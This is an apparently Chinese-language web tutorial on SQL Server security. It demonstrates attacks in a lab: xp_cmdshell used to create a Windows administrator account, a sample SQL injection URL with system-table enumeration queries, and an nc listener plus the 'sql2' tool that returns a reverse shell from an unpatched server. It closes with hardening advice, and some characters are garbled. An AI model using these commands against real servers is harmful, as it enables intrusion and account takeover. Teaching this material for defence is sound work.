直播中
一、空口令或弱口令
初學(xué)者在安裝SQL Server時為了省事,SQL Server管理員sa 用的是空口令或弱口令,這樣危險性十分巨大,而這些危險往往是初學(xué)者意識不到的,小王就覺得,自己的庫是試驗數(shù)據(jù),沒什么用,即使別人連上庫也無所謂。殊不知SQL Server的默認用戶sa的權(quán)限非常巨大,有種觀點是sa的權(quán)限要大于administrator的權(quán)限,也就是說沒有限制的sa用戶可以做Windows系統(tǒng)管理員所做的任何事。
下面我們做個簡單的試驗。通過SQL Server給Windows系統(tǒng)增加一個用戶user1,并且把該用戶增加到管理員用戶組administrators里。
1、首先看看正常情況下在Windows系統(tǒng)增加該用戶的方法。
有兩種:一是在圖形界面下進行,二是在命令窗口下進行,下面演示通過命令增加用戶。
1)、在“開始”——〉“運行”處輸入cmd,回車進入到命令窗口,如圖1所示:
2)、第一行命令net user user1 /add (增加一個用戶名是user1的用戶)。
3)、第二行net localgroupadminisstrators user1 /add(將此用戶增加到管理員用戶組administrators中)。
4)、第三行net user(查看目前系統(tǒng)的用戶,可以看到已增加了user1用戶)。
5)、第四行net user user1 /delete (刪除user1用戶),為了下面通過SQL Server 給系統(tǒng)增加用戶。
圖1
2、在SQL Server中增加系統(tǒng)用戶
1)、打開SQL Server的“企業(yè)管理器”——〉“工具”——〉 “SQL 查詢分析器” 。如圖2,輸入要連接的SQL Server的IP地址,確定后出現(xiàn)圖3界面,注意連接的是master庫。
圖2
2)、如圖3所示,在查詢窗口中輸入:exec xp_cmdshell 'net user user1 /add',按 執(zhí)行,如果出現(xiàn)圖4“命令成功完成”的提示說明執(zhí)行成功。
3)、接著如圖5所示,輸入exec xp_cmdshell 'net localgroup administrators user1 /add',執(zhí)行成功后出現(xiàn)圖5的提示說明。
圖3
圖4
上邊輸入的 net user user1 /add 和 net localgroup administrators user1 /add是不是很眼熟?它們就是我們上面用過的windows系統(tǒng)下的標準命令。圖6可以看出user1已增加到管理員administrators組中。
圖6
看到這明白了吧!通過功能強大的SQL Server可以做Windows系統(tǒng)管理員能做的事。上面通過SQL Server建立用戶的實驗是我從本機遠程連接到測試機的SQL Server,增加了用戶,圖7是用剛建立的用戶user1和遠程計算機建立的ipc連接,這時要進入這臺機器就是易如反掌的事了。接下來的的安全知識自己查查吧,網(wǎng)上非常多的。
圖7
3、進一步解釋
上面用的xp_cmdshell是SQL Server的擴展存儲過程中的一個,存儲過程就像是我們編程用的函數(shù),內(nèi)容是按需要編寫的一系列SQL 語句和可選控制流語句,可由應(yīng)用程序通過一個調(diào)用執(zhí)行,而且允許用戶聲明變量、有條件執(zhí)行以及其它強大的編程功能。每個庫都可以存放存儲過程,但擴展存儲過程只存在master 數(shù)據(jù)庫中,對用戶來說,擴展存儲過程與普通存儲過程一樣,執(zhí)行方法也相同。但擴展存儲過程能執(zhí)行除了數(shù)據(jù)庫之外的許多操作,上面我們看到通過調(diào)用xp_cmdshell可以執(zhí)行windows系統(tǒng)下的各種命令。
擴展存儲過程的功能非常強大,如圖8,它們存在master庫中的擴展存儲過程中。
如xp_regenumvalues、 xp_regread、 xp_regwrite 、xp_regdeletevalue、 xp_regdeletekey這些擴展存儲過程能對注冊表進行讀寫操作。例如:可以通過下面命令查看注冊表中的啟動項目。
Exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
圖8
二、注入和跨庫攻擊
注入和跨庫攻擊可能是2004年黑客攻擊中最流行的詞了,它的原理和上面講的都是獲得了SQL Server管理員sa的權(quán)限,從而控制數(shù)據(jù)庫,還可以利用xp_cmdshell這樣的SQL Server的擴展存儲過程控制Windows系統(tǒng)。注入和空口令獲取sa權(quán)限的方法不同,注入是ASP程序在連接SQL Server時有漏洞,黑客利用漏洞獲取了sa權(quán)限。說到這,小王有點疑問,程序中sa連接的是自己的庫而擴展存儲過程在master庫中,如何利用的?簡單的說,有sa 的權(quán)限后就能查詢出用戶建的什么庫,庫中有哪些表,表中有什么字段,表的紀錄等。這些又是如何實現(xiàn)的呢?
要解答這個問題需要從兩個方面著手,一是新建個庫后,SQL Server起了什么變化?二是SQL Server的權(quán)限。
1、新建一個庫后其在系統(tǒng)庫和系統(tǒng)表的位置
例:在SQL Server新建一個庫,庫名稱為:xyz,在該庫下建一個test的表,表中字段為id、name、password。
1)、庫在哪里?
SQL Server安裝完畢后默認安裝了master、model、msdb、northwind、pubs、tempdb這6個庫,其中northwind、pubs是例子庫,其它都是系統(tǒng)數(shù)據(jù)庫,各有其用。xyz庫建好后,庫名稱存在master庫中的sysdatabases表中,如圖9所示,sysdatabases表中的 dbid字段的值大于6的就是用戶自己建的庫。圖10中用SELECT name FROM sysdatabases where dbid>6可以查出用戶自己建的庫,剛建的xyz庫也在其中。
圖9
圖10
[Page]
2)、表在哪里?
表名稱存在xyz庫中的sysobjects表且xtype='u',如圖11,輸入SELECT *FROM sysobjects where xtype='u'可以查出表名稱是test,記住我們剛建的表test對應(yīng)的id是357576312
圖11
3)、有哪些字段?
test表中有哪些字段呢?該表的字段存在xyz庫中的syscolumns表中,且id等于sysobjects表中test表對應(yīng)的id,也就是我們上面查出來的357576312。
如圖12,輸入SELECT * FROM syscolumns where id='357576312'可以查出test表中的字段。
圖12
4)、總結(jié)
當有相應(yīng)權(quán)限的用戶連到SQL Server后,能通過查詢master庫中的sysdatabases表得到用戶建的數(shù)據(jù)庫名稱,接著再查詢用戶數(shù)據(jù)庫的sysobjects表查出創(chuàng)建的表,接著再查詢用戶數(shù)據(jù)庫的syscolumns表查出表中的字段,進而查出紀錄。
這個例子提到有相應(yīng)權(quán)限的用戶,那用戶具有哪些權(quán)限呢?我們接著說。
2、理解用戶、角色和權(quán)限這幾個概念
要對這幾個概念講得很明白,需要很大的篇幅,本文只作簡要介紹。
要想訪問SQL Server必須是它的一個用戶,如果要訪問某個數(shù)據(jù)庫,必須賦予該用戶訪問此數(shù)據(jù)庫的權(quán)限。角色就是一系列權(quán)限的集合。用戶和角色的關(guān)系就像Windows系統(tǒng)中的用戶和用戶組的關(guān)系。
還是舉例說明吧!sa為什么有那么大的權(quán)限?
sa是SQL Server的默認超級用戶,就像系統(tǒng)的administrator用戶一樣,如圖13,點擊在“安全性”——〉“登錄”,在右欄的sa用戶下鼠標右鍵,出現(xiàn)圖14的sa屬性界面選到“服務(wù)器角色”項,可以看到sa的角色是system administrators(簡寫為sysadmin),前面提到角色就是一系列權(quán)限的集合,點擊圖14的“屬性”,在圖15中可以看到該角色擁有操作SQL Server的所有權(quán)限。如圖16可以看出sa具有所有數(shù)據(jù)庫的訪問權(quán)限,現(xiàn)在明白sa為什么有那么大的權(quán)限了吧。
圖13
圖14
圖15
圖16
實際做管理系統(tǒng)時并不需要用戶有那么大的權(quán)限,一般只要能訪問自己建的庫就行了??梢孕陆▊€用戶,只給此用戶有限的權(quán)限,這樣安全系數(shù)應(yīng)該高些,從這個思路出發(fā)看看如何實現(xiàn)
1)、新建aaa用戶
如圖17,新建登錄后出現(xiàn)圖18界面,輸入用戶名aaa,在輸入個強壯的密碼。
圖17
圖18
2)、設(shè)置權(quán)限
如圖18,在“服務(wù)器角色”選項中什么也不選,如圖19,在“數(shù)據(jù)庫訪問”選項中只選“xyz”庫,也就是說只讓aaa用戶訪問xyz庫?!皵?shù)據(jù)庫角色中允許”只選默認的“public”。
圖19
圖20
3)、測試
設(shè)置好后,用aaa用戶登陸“SQL 查詢分析器”,如圖21,執(zhí)行exec xp_cmdshell 'net user user1 /add',出現(xiàn)了期待的結(jié)果,沒有權(quán)限執(zhí)行。
圖21
接著執(zhí)行SELECT name FROM sysdatabases where dbid>6,期待的結(jié)果是沒有權(quán)限執(zhí)行,可實際的結(jié)果和圖10的查詢結(jié)果一模一樣,aaa用戶不是沒有master庫的權(quán)限嗎?aaa用戶除了不能訪問自己建的庫wz_cxxt_new外,其它的庫都能訪問,問題出在哪呢?
[Page]
問題出在public 角色,下面這段話是SQL Server幫助中寫的。
public 角色是一個特殊的數(shù)據(jù)庫角色,每個數(shù)據(jù)庫用戶都屬于它。public 角色:
· 捕獲數(shù)據(jù)庫中用戶的所有默認權(quán)限。
· 無法將用戶、組或角色指派給它,因為默認情況下它們即屬于該角色。
· 含在每個數(shù)據(jù)庫中,包括 master、msdb、tempdb、model 和所有用戶數(shù)據(jù)庫。
· 無法除去。
如圖22是master庫中的“public”角色,雙擊“public”,在界面中單擊“權(quán)限”,出現(xiàn)圖23界面,可以看到該角色具有sysdatabases的訪問權(quán)限。可以看到權(quán)限分得非常細,有select、insert、update、delete等,如圖24,把權(quán)限改為禁止,再執(zhí)行SELECT name FROM sysdatabases時出現(xiàn)了“拒絕了對對象 'sysdatabases'(數(shù)據(jù)庫 'master',所有者 'dbo')的 SELECT 權(quán)限?!钡奶崾尽?/P>
圖22
圖23
圖24
Public角色默認沒有執(zhí)行擴展存儲過程的權(quán)限,但可以賦予該角色執(zhí)行的權(quán)限,有訪問庫的權(quán)限,也可以去掉??吹竭@,是不是覺得非常麻煩,本來權(quán)限的設(shè)置就是個雙刃劍,設(shè)置得過于寬松會有安全漏洞,過于嚴格在程序運行時可能會出問題,本文無法給出一個徹底的解決方案,只要在懂得原理的基礎(chǔ)上,在實踐中不斷摸索才能理出一個最佳方案。
3、注入
對于SQL Server+ASP的注入,有一種是ASP連接SQL Server用戶的權(quán)限足夠大,而ASP程序本身有漏洞,而從而構(gòu)造出類似http://www.***.com/aaa.asp?id=2300 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 這樣的SQL語句,根據(jù)前文講的原理暴出庫、表及相應(yīng)的紀錄。
關(guān)于注入有許多精彩和經(jīng)典的文章,還有像NBSI2那樣好用的工具,在此就不班門弄斧了。
三、SQL Server不打補丁的漏洞
小王的SQL Server是安裝在win 2000上的,沒有打補丁,沒打補丁的SQL Server就是個大漏勺,無論你的權(quán)限設(shè)置的多么嚴格都是一張一捅就破的爛紙。下面的例子是對有漏洞的SQL Serve(安裝在192.168.113.10這臺機器上)的攻擊,實驗中用到了兩個工具,nc和sql2,nc別名瑞士軍刀,是古老且十分強大的網(wǎng)絡(luò)工具,如果想知道詳細用法請參考網(wǎng)上的相關(guān)資料,sql2是專門攻擊有漏洞的SQL Serve(sp2以下,含sp2),過程如下:
如圖25,在我的機器(IP地址為192.168.113.207)的命令窗口下(運行cmd)運行nc –l –p 77,意思是在本機開個77的端口
新建一個命令窗口,運行sql2 192.168.113.10 192.168.113.207 77 0
如果192.168.113.10上的SQL Serve有漏洞,192.168.113.207的nc監(jiān)視窗口就會出現(xiàn)下圖26的界面,注意!這個界面可是裝有SQL Serve機器的,換句話,我們已經(jīng)入侵到這臺機器了。接著看下圖27,用ipconfig 查的地址是192.168.113.10,它歸你控制了,簡單吧!
圖25
圖26
圖27
四、幾點建議
1、及時打補丁
不打補丁的危害上面已經(jīng)演示了,道理就不用多說了吧!
2、最小的權(quán)限等于對大的安全
這句話說起容易,做起難,有一個簡單易行的辦法就是用流行的漏洞掃描工具和攻擊工具檢測本系統(tǒng)是否安全,這樣的工具非常多,自己找吧。
3、安裝防火墻
如果只是在本機調(diào)試系統(tǒng),安裝防火墻是非常好的選擇,這樣即使有漏洞別人也無法攻擊。
4、改變端口
如果SQL Serve需要遠程訪問,端口一定是要開放的,即使安裝了防火墻,也要將SQL Serve的服務(wù)端口1433放開,針對SQL Serve的攻擊工具主要掃描的是1433端口,可以改變默認端口,這樣雖然不能從根本上解決問題,但可以對付一般的掃描,改變端口最簡單的辦法是在打開“開始”——〉“所有程序”——〉“Microsoft SQL Serve” ——〉“服務(wù)器網(wǎng)絡(luò)實用工具”,在界面中選中“TCP/IP”,點擊“屬性”,把1433改為不超過65535的一個數(shù),重啟SQL Serve服務(wù),這樣默認端口就改了,注意這時你遠程連接SQL Serve時IP地址后要加改過的端口號。
5、刪除不需要的擴展存儲過程
如果你的系統(tǒng)中確實不需要這些擴展存儲過程可以刪除。
刪除存儲過程的命令是:EXEC sp_dropextendedproc ‘存儲過程的名稱’
例如要刪除xp_cmdshell,執(zhí)行EXEC sp_dropextendedproc ‘xp_cmdshell’,每個擴展存儲過程實際上用的是相應(yīng)的dll文件,如果想徹底讓該存儲過程不起作用,還要將dll文件也刪除。這些文件一般存在Program Files\Microsoft SQL Server\MSSQL\Binn下,如圖28,xp_cmdshell的dll文件是xplog70.dll
要恢復(fù)該存儲過程,命令是:
EXEC sp_addextendedproc存儲過程的名稱 ,@dllname ='存儲過程的dll'
例如:恢復(fù)存儲過程xp_cmdshell
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll',注意,恢復(fù)時如果xplog70.dll已刪除需要copy一個。
圖28